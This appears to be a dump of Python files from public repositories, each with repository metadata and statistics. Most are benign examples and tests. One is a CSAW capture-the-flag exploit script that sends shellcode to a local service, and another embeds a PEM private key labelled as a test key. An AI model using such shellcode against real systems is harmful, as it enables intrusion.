def test_inve... | 30.2 | 72 | 0.772627 | 63 | 453 | 5.238095 | 0.412698 | 0.2 | 0.290909 | 0.163636 | 0.518182 | 0.309091 | 0.309091 | 0.309091 | 0 | 0 | 0 | 0.017995 | 0.14128 | 453 | 15 | 72 | 30.2 | 0.830334 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
1560189fe3319249c1a70c48854017950a77575a | 252 | py | Python | codigo_das_aulas/aula_17/exemplo_09.py | VeirichR/curso-python-selenium | 9b9107a64adb4e6bcf10c76287e0b4cc7d024321 | [
"CC0-1.0"
] | 234 | 2020-04-03T02:59:30.000Z | 2022-03-27T15:29:21.000Z | codigo_das_aulas/aula_17/exemplo_09.py | VeirichR/curso-python-selenium | 9b9107a64adb4e6bcf10c76287e0b4cc7d024321 | [
"CC0-1.0"
] | 8 | 2020-04-20T11:20:43.000Z | 2021-08-18T16:41:15.000Z | codigo_das_aulas/aula_17/exemplo_09.py | VeirichR/curso-python-selenium | 9b9107a64adb4e6bcf10c76287e0b4cc7d024321 | [
"CC0-1.0"
] | 77 | 2020-04-03T13:25:19.000Z | 2022-02-24T15:31:26.000Z | from selene.support.shared import browser
from selene.support.conditions import be
from selene.support.conditions import have
browser.open('http://google.com')
browser.element(
'input[name="q"]'
).should(be.blank).type('Envydust').press_enter()
| 22.909091 | 49 | 0.761905 | 35 | 252 | 5.457143 | 0.657143 | 0.157068 | 0.267016 | 0.282723 | 0.34555 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09127 | 252 | 10 | 50 | 25.2 | 0.834061 | 0 | 0 | 0 | 0 | 0 | 0.15873 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.428571 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
156424583f1dff6fc922e501fe457af2ebb6491f | 96 | wsgi | Python | app.wsgi | topix-hackademy/social-listener | ce00a0ff6bd699b7941aaf92b17df378dac1633b | [
"MIT"
] | 12 | 2016-12-16T09:43:37.000Z | 2022-01-30T05:49:14.000Z | app.wsgi | topix-hackademy/social-listener | ce00a0ff6bd699b7941aaf92b17df378dac1633b | [
"MIT"
] | 2 | 2016-12-20T17:35:38.000Z | 2016-12-21T09:18:02.000Z | app.wsgi | topix-hackademy/social-listener | ce00a0ff6bd699b7941aaf92b17df378dac1633b | [
"MIT"
] | 3 | 2017-07-02T10:01:54.000Z | 2021-01-03T01:58:01.000Z | import sys
sys.path.insert(0, '/var/www/bankapiflask/')
from server import app as application
| 16 | 44 | 0.760417 | 15 | 96 | 4.866667 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011905 | 0.125 | 96 | 5 | 45 | 19.2 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.231579 | 0.231579 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
157f072f3f11b3c610c6f65e6b2c65fd43f12620 | 188 | py | Python | setup.py | ImperialCollegeLondon/guikit | 721b3ac976d254f0f95c3f0bebb43669f310fd02 | [
"BSD-3-Clause"
] | 3 | 2022-01-20T12:13:26.000Z | 2022-01-20T12:42:03.000Z | setup.py | ImperialCollegeLondon/python-gui-template | 721b3ac976d254f0f95c3f0bebb43669f310fd02 | [
"BSD-3-Clause"
] | 14 | 2021-09-21T15:19:36.000Z | 2021-11-28T00:05:32.000Z | setup.py | ImperialCollegeLondon/guikit | 721b3ac976d254f0f95c3f0bebb43669f310fd02 | [
"BSD-3-Clause"
] | null | null | null | """
Only needed to install the tool in editable mode. See:
https://setuptools.readthedocs.io/en/latest/userguide/quickstart.html#development-mode
"""
import setuptools
setuptools.setup()
| 23.5 | 86 | 0.787234 | 25 | 188 | 5.92 | 0.88 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090426 | 188 | 7 | 87 | 26.857143 | 0.865497 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
158a9df32c222175cfef8e3c5507867bf5e5a591 | 690 | py | Python | 2013/CSAW/exploit2.py | parksjin01/ctf | 098a44f734bb8ce0a99369d1989630e01f248511 | [
"MIT"
] | null | null | null | 2013/CSAW/exploit2.py | parksjin01/ctf | 098a44f734bb8ce0a99369d1989630e01f248511 | [
"MIT"
] | 1 | 2017-03-05T07:08:18.000Z | 2017-03-05T07:12:12.000Z | 2013/CSAW/exploit2.py | parksjin01/ctf | 098a44f734bb8ce0a99369d1989630e01f248511 | [
"MIT"
] | null | null | null | from pwn import *
import binascii
sh = remote('localhost', 31338)
buf_addr = sh.recv(4)
secret = sh.recv(4)
print binascii.hexlify(secret)
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x0... | 46 | 370 | 0.743478 | 140 | 690 | 3.628571 | 0.507143 | 0.070866 | 0.070866 | 0.094488 | 0.124016 | 0.124016 | 0.082677 | 0 | 0 | 0 | 0 | 0.240854 | 0.049275 | 690 | 14 | 371 | 49.285714 | 0.533537 | 0 | 0 | 0 | 0 | 0.076923 | 0.544928 | 0.515942 | 0 | 1 | 0.007246 | 0 | 0 | 0 | null | null | 0 | 0.153846 | null | null | 0.153846 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
158fd561c5738d817b067e24395096eaabcfe840 | 389 | py | Python | client/gap/contact.py | brandsafric/weqtrading | 3084bc3e28f5286b5dc6bbed3fccc43d9ba1cf62 | [
"MIT"
] | 1 | 2019-09-03T13:11:13.000Z | 2019-09-03T13:11:13.000Z | client/gap/contact.py | brandsafric/weqtrading | 3084bc3e28f5286b5dc6bbed3fccc43d9ba1cf62 | [
"MIT"
] | null | null | null | client/gap/contact.py | brandsafric/weqtrading | 3084bc3e28f5286b5dc6bbed3fccc43d9ba1cf62 | [
"MIT"
] | null | null | null | import os
import webapp2
import jinja2
from google.appengine.ext import ndb
from google.appengine.api import users
import logging
import json
class Contact(ndb.Expando):
contact_id : ndb.StringProperty()
names : ndb.StringProperty()
cell : ndb.StringProperty()
email : ndb.StringProperty()
subje... | 22.882353 | 38 | 0.724936 | 45 | 389 | 6.244444 | 0.511111 | 0.362989 | 0.135231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006369 | 0.192802 | 389 | 17 | 39 | 22.882353 | 0.888535 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
15a91c214ba6969019e257f6c6738bf81c44c138 | 912 | py | Python | tests/continuous_tests/interval_tests/test_merges_with_interval.py | lycantropos/topo | 7d777468c98b31533c5e050c4425e528376b35b4 | [
"MIT"
] | null | null | null | tests/continuous_tests/interval_tests/test_merges_with_interval.py | lycantropos/topo | 7d777468c98b31533c5e050c4425e528376b35b4 | [
"MIT"
] | 2 | 2019-02-22T13:14:30.000Z | 2019-04-08T18:28:39.000Z | tests/continuous_tests/interval_tests/test_merges_with_interval.py | lycantropos/topo | 7d777468c98b31533c5e050c4425e528376b35b4 | [
"MIT"
] | null | null | null | from tests.utils import implication
from topo.continuous import Interval
def test_reflexivity(interval: Interval) -> None:
assert interval.merges_with_interval(interval)
def test_intersecting_intervals(interval: Interval,
other_interval: Interval) -> None:
assert implication(... | 38 | 73 | 0.711623 | 92 | 912 | 6.75 | 0.23913 | 0.283414 | 0.304348 | 0.20934 | 0.723027 | 0.613527 | 0.563607 | 0.563607 | 0.563607 | 0.457327 | 0 | 0 | 0.220395 | 912 | 23 | 74 | 39.652174 | 0.873418 | 0 | 0 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.266667 | 1 | 0.266667 | false | 0 | 0.133333 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
15bc01f82f9f5ca938abdbc5e1d84c0ec09b8724 | 121 | py | Python | custom_exceptions.py | kamens/gae_bingo | f5285b9ad17dde72991fe123f23095520a554cbf | [
"MIT"
] | 34 | 2015-02-06T14:55:10.000Z | 2021-05-01T12:17:38.000Z | custom_exceptions.py | kamens/gae_bingo | f5285b9ad17dde72991fe123f23095520a554cbf | [
"MIT"
] | 1 | 2016-12-03T15:07:36.000Z | 2016-12-03T15:07:36.000Z | custom_exceptions.py | kamens/gae_bingo | f5285b9ad17dde72991fe123f23095520a554cbf | [
"MIT"
] | 1 | 2016-05-18T20:54:36.000Z | 2016-05-18T20:54:36.000Z | class InvalidRedirectURLError(Exception):
"""Raised when there is a redirect attempt to an absolute url."""
pass
| 30.25 | 69 | 0.735537 | 15 | 121 | 5.933333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 121 | 3 | 70 | 40.333333 | 0.89899 | 0.487603 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
ec639da7d878f4899931dbed21cfb876973c4574 | 176 | py | Python | fecha_horapy.py | miruimi/edem2021MDA | c92afb2b1f5bafb1063abd40c99eda97c4db7c9f | [
"Apache-2.0"
] | null | null | null | fecha_horapy.py | miruimi/edem2021MDA | c92afb2b1f5bafb1063abd40c99eda97c4db7c9f | [
"Apache-2.0"
] | null | null | null | fecha_horapy.py | miruimi/edem2021MDA | c92afb2b1f5bafb1063abd40c99eda97c4db7c9f | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
#!/usr/bin/python
import time
ahora = time.strftime("%c")
## representacion de fecha y hora
print "Fecha y hora " + time.strftime("%c")
time.sleep 10 | 17.6 | 43 | 0.653409 | 27 | 176 | 4.259259 | 0.703704 | 0.208696 | 0.226087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02027 | 0.159091 | 176 | 10 | 44 | 17.6 | 0.756757 | 0.386364 | 0 | 0 | 0 | 0 | 0.163462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.25 | null | null | 0.25 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
ec6f3e7bc3be31b1fc041da9f3be5605cc7f25c6 | 120 | py | Python | ml/ica.py | Max1993Liu/MLImplementation | 4247aedb9ebf3d5a6b50805b8ee99ede4d232416 | [
"MIT"
] | null | null | null | ml/ica.py | Max1993Liu/MLImplementation | 4247aedb9ebf3d5a6b50805b8ee99ede4d232416 | [
"MIT"
] | null | null | null | ml/ica.py | Max1993Liu/MLImplementation | 4247aedb9ebf3d5a6b50805b8ee99ede4d232416 | [
"MIT"
] | null | null | null | """
Independent Component analysis
Reference implementation: https://github.com/asdspal/dimRed/blob/master/ICA.ipynb
""" | 30 | 81 | 0.8 | 14 | 120 | 6.857143 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058333 | 120 | 4 | 82 | 30 | 0.849558 | 0.933333 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
ec741cb0b06970f896a1aefd16f9fb62110da66d | 2,235 | py | Python | tests/test_sign_poet.py | HHSIDEAlab/python-poetri | 5e94d33ddf2b432143785ba4fbcaa9baf6b38c0e | [
"Apache-2.0"
] | 1 | 2022-03-13T23:13:58.000Z | 2022-03-13T23:13:58.000Z | tests/test_sign_poet.py | HHSIDEAlab/python-poetri | 5e94d33ddf2b432143785ba4fbcaa9baf6b38c0e | [
"Apache-2.0"
] | 2 | 2017-07-18T19:40:23.000Z | 2022-03-13T23:23:23.000Z | tests/test_sign_poet.py | HHSIDEAlab/python-poetri | 5e94d33ddf2b432143785ba4fbcaa9baf6b38c0e | [
"Apache-2.0"
] | 1 | 2017-05-15T13:51:55.000Z | 2017-05-15T13:51:55.000Z | #!/usr/bin/env python
import unittest, os
from poetri.sign_poet import sign_poet
#This key is for testing and the CN is "transparenthealth.org"
test_private_key = """
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQComk77MDN73N/w
FphyPbL0uc0jzKvSI8qK/TGvDx+9ygPFzYq6RdsgNE5cOHdtXk6/ukaMt7s... | 45.612245 | 101 | 0.885459 | 144 | 2,235 | 13.618056 | 0.819444 | 0.016318 | 0.014278 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119792 | 0.055034 | 2,235 | 48 | 102 | 46.5625 | 0.808712 | 0.036242 | 0 | 0 | 0 | 0 | 0.842637 | 0.781521 | 0 | 1 | 0 | 0 | 0.027027 | 1 | 0.027027 | false | 0 | 0.054054 | 0 | 0.108108 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
ecb6df8348da445f7a3cdb361c0f7be8995efa8e | 130 | py | Python | src/petronia/core/platform/api/font/__init__.py | groboclown/petronia | 486338023d19cee989e92f0c5692680f1a37811f | [
"MIT"
] | 19 | 2017-06-21T10:28:24.000Z | 2021-12-31T11:49:28.000Z | src/petronia/core/platform/api/font/__init__.py | groboclown/petronia | 486338023d19cee989e92f0c5692680f1a37811f | [
"MIT"
] | 10 | 2016-11-11T18:57:57.000Z | 2021-02-01T15:33:43.000Z | src/petronia/core/platform/api/font/__init__.py | groboclown/petronia | 486338023d19cee989e92f0c5692680f1a37811f | [
"MIT"
] | 3 | 2017-09-17T03:29:35.000Z | 2019-06-03T10:43:08.000Z |
"""
State definitions for supported fonts, font families, and other descriptions.
"""
from .defs import (
FontDefinition,
)
| 14.444444 | 77 | 0.715385 | 14 | 130 | 6.642857 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184615 | 130 | 8 | 78 | 16.25 | 0.877358 | 0.592308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
ece5a62614198f92df2582dd74c868066b6c5a62 | 1,461 | py | Python | motorcycles.py | yiyidhuang/PythonCrashCrouse2nd | 3512f9ab8fcf32c6145604a37e2a62feddf174d1 | [
"MIT"
] | null | null | null | motorcycles.py | yiyidhuang/PythonCrashCrouse2nd | 3512f9ab8fcf32c6145604a37e2a62feddf174d1 | [
"MIT"
] | null | null | null | motorcycles.py | yiyidhuang/PythonCrashCrouse2nd | 3512f9ab8fcf32c6145604a37e2a62feddf174d1 | [
"MIT"
] | null | null | null | motorcycles = ['honda', 'yamaha', 'suzuki']
print(motorcycles)
motorcycles[0] = 'ducati'
print(motorcycles)
motorcycles.append('duati')
print(motorcycles)
motorcycles = []
motorcycles.append('honda')
motorcycles.append('yamaha')
motorcycles.append('suzuki')
print(motorcycles)
# Insert
print('==========Insert elem... | 20.871429 | 67 | 0.711841 | 164 | 1,461 | 6.286585 | 0.207317 | 0.217265 | 0.192047 | 0.217265 | 0.221145 | 0.186227 | 0.100873 | 0 | 0 | 0 | 0 | 0.003808 | 0.1013 | 1,461 | 69 | 68 | 21.173913 | 0.781417 | 0.064339 | 0 | 0.452381 | 0 | 0 | 0.31273 | 0.048565 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.47619 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
01a91fd8366aa83fad31f5e840d036905722e38a | 79 | py | Python | data_as_code/__main__.py | Mikuana/data_as_code | 339f0c6bcd4e318ad925ceb4ccd6149f980d4032 | [
"MIT"
] | 2 | 2021-05-18T22:04:22.000Z | 2021-07-24T19:52:49.000Z | data_as_code/__main__.py | Mikuana/data_as_code | 339f0c6bcd4e318ad925ceb4ccd6149f980d4032 | [
"MIT"
] | 1 | 2021-03-12T22:56:45.000Z | 2021-03-12T22:56:45.000Z | data_as_code/__main__.py | Mikuana/data_as_code | 339f0c6bcd4e318ad925ceb4ccd6149f980d4032 | [
"MIT"
] | null | null | null | from data_as_code._commands import menu
if __name__ == '__main__':
menu()
| 15.8 | 39 | 0.721519 | 11 | 79 | 4.181818 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177215 | 79 | 4 | 40 | 19.75 | 0.707692 | 0 | 0 | 0 | 0 | 0 | 0.101266 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
01b38507b22801f0b417ca21ca242a2d43993b3f | 1,541 | py | Python | python/38041857/dict_count.py | jeyoor/stackoverflow-notes | e41808daeea947c6930f1943df418d7d9dfb9bf1 | [
"MIT"
] | null | null | null | python/38041857/dict_count.py | jeyoor/stackoverflow-notes | e41808daeea947c6930f1943df418d7d9dfb9bf1 | [
"MIT"
] | null | null | null | python/38041857/dict_count.py | jeyoor/stackoverflow-notes | e41808daeea947c6930f1943df418d7d9dfb9bf1 | [
"MIT"
] | null | null | null | from collections import defaultdict
#https://stackoverflow.com/questions/38041857/checking-if-keys-already-in-dictionary-with-try-except
class SimpleDictCounter:
"""Test counting elements using a dict
Here's a next lines of doc comment"""
def __init__(self):
self.number_found = {}
def _count_o... | 33.5 | 100 | 0.613887 | 211 | 1,541 | 4.341232 | 0.350711 | 0.10917 | 0.163755 | 0.165939 | 0.71179 | 0.655022 | 0.655022 | 0.655022 | 0.655022 | 0.655022 | 0 | 0.011342 | 0.313433 | 1,541 | 45 | 101 | 34.244444 | 0.854442 | 0.390006 | 0 | 0.740741 | 0 | 0 | 0.008753 | 0 | 0 | 0 | 0 | 0.022222 | 0 | 1 | 0.148148 | false | 0.037037 | 0.037037 | 0 | 0.407407 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
01b970d6f7aba14c64362b2d4da3d30670c430db | 119 | py | Python | tests/runtests.py | pombredanne/reviewboard | 15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d | [
"MIT"
] | null | null | null | tests/runtests.py | pombredanne/reviewboard | 15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d | [
"MIT"
] | null | null | null | tests/runtests.py | pombredanne/reviewboard | 15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys
import pytest
if __name__ == '__main__':
sys.exit(pytest.main(sys.argv[1:]))
| 11.9 | 39 | 0.672269 | 18 | 119 | 4 | 0.722222 | 0.194444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02 | 0.159664 | 119 | 9 | 40 | 13.222222 | 0.7 | 0.176471 | 0 | 0 | 0 | 0 | 0.082474 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
01dfb8c5e51cca523f4ce0e592271b8238d28cef | 748 | py | Python | Program_Python_code/IOT_02/request_2.py | skyhigh8591/Learning_Test_Program | 5f3c0f11874618919002126863772e0dd06a1072 | [
"MIT"
] | null | null | null | Program_Python_code/IOT_02/request_2.py | skyhigh8591/Learning_Test_Program | 5f3c0f11874618919002126863772e0dd06a1072 | [
"MIT"
] | null | null | null | Program_Python_code/IOT_02/request_2.py | skyhigh8591/Learning_Test_Program | 5f3c0f11874618919002126863772e0dd06a1072 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Jun 15 13:52:25 2020
@author: skyhigh
"""
import requests
from bs4 import BeautifulSoup
url_1 = 'http://192.168.1.27:6060/login'
html = requests.get(url_1)
html.encoding='utf-8'
if html.status_code == requests.codes.ok:
print("ok")
print("//////////////////////////... | 19.179487 | 43 | 0.493316 | 89 | 748 | 4.101124 | 0.539326 | 0.221918 | 0.191781 | 0.19726 | 0.252055 | 0.19726 | 0 | 0 | 0 | 0 | 0 | 0.048048 | 0.109626 | 748 | 39 | 44 | 19.179487 | 0.5 | 0.101604 | 0 | 0.458333 | 0 | 0 | 0.36391 | 0.270677 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.083333 | 0.5 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
01fcd8cbdc7cf21337963f505097f318bfc03a9a | 578 | py | Python | returns/ejemplo_1_return_un_valor.py | Invarato/Jarroba | 161d4cf2793586ae52031512bb64fd9b5db2021d | [
"Apache-2.0"
] | 2 | 2020-04-13T10:51:49.000Z | 2020-05-27T03:57:05.000Z | returns/ejemplo_1_return_un_valor.py | Invarato/Jarroba | 161d4cf2793586ae52031512bb64fd9b5db2021d | [
"Apache-2.0"
] | null | null | null | returns/ejemplo_1_return_un_valor.py | Invarato/Jarroba | 161d4cf2793586ae52031512bb64fd9b5db2021d | [
"Apache-2.0"
] | 1 | 2021-08-05T04:32:58.000Z | 2021-08-05T04:32:58.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
def dame_un_texto():
return "Texto"
def dame_un_numero():
return 123
def dame_un_booleano():
return True
def dame_un_listado():
return ["A", "B", "C"]
def dame_un_diccionario():
return {
"casa": "house",
"tarta": "cake"
}
... | 13.761905 | 32 | 0.608997 | 77 | 578 | 4.155844 | 0.402597 | 0.225 | 0.16875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009112 | 0.240484 | 578 | 41 | 33 | 14.097561 | 0.719818 | 0.072664 | 0 | 0 | 0 | 0 | 0.06367 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.26087 | false | 0 | 0 | 0.26087 | 0.521739 | 0.26087 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
bf2e7655e78d3dd239644ee433b85a9469aa151a | 177 | py | Python | CDKProjectVer2/AppStacks/ApplicationLoadBalancer/stacks/alb_conf.py | binhlh23/cdkbynooddev | 76a7e903d96fb8ea4df7eaf4224c7d92ae80f076 | [
"Apache-2.0"
] | null | null | null | CDKProjectVer2/AppStacks/ApplicationLoadBalancer/stacks/alb_conf.py | binhlh23/cdkbynooddev | 76a7e903d96fb8ea4df7eaf4224c7d92ae80f076 | [
"Apache-2.0"
] | null | null | null | CDKProjectVer2/AppStacks/ApplicationLoadBalancer/stacks/alb_conf.py | binhlh23/cdkbynooddev | 76a7e903d96fb8ea4df7eaf4224c7d92ae80f076 | [
"Apache-2.0"
] | null | null | null | STACK = 'ALBHDBank'
AZ_1 = 'ap-southeast-1a'
AZ_2 = 'ap-southeast-1b'
AZ_3 = 'ap-southeast-1c'
VPC_ID = 'vpc-0d5fa16a59668d675'
ALBSUBNET = 'subnet-0a436875d4d79e4f5'
| 19.666667 | 39 | 0.694915 | 24 | 177 | 4.958333 | 0.708333 | 0.277311 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201342 | 0.158192 | 177 | 8 | 40 | 22.125 | 0.597315 | 0 | 0 | 0 | 0 | 0 | 0.585799 | 0.266272 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
1727c55fcb9eec78236e2cd22b73a0b2f5e4d15a | 14,857 | py | Python | test/test_pulljson.py | Teradata/PyTd | 5e960ed4c380c4f8ae84d582ad779a87adce5ae1 | [
"MIT"
] | 133 | 2015-07-27T22:12:58.000Z | 2021-08-31T05:26:38.000Z | test/test_pulljson.py | Teradata/PyTd | 5e960ed4c380c4f8ae84d582ad779a87adce5ae1 | [
"MIT"
] | 121 | 2015-07-30T18:03:03.000Z | 2021-08-09T13:46:37.000Z | test/test_pulljson.py | Teradata/PyTd | 5e960ed4c380c4f8ae84d582ad779a87adce5ae1 | [
"MIT"
